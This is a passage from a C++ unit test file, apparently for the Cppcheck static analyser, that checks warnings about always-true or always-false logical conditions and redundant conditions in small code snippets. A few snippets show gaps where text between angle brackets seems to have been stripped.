ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n 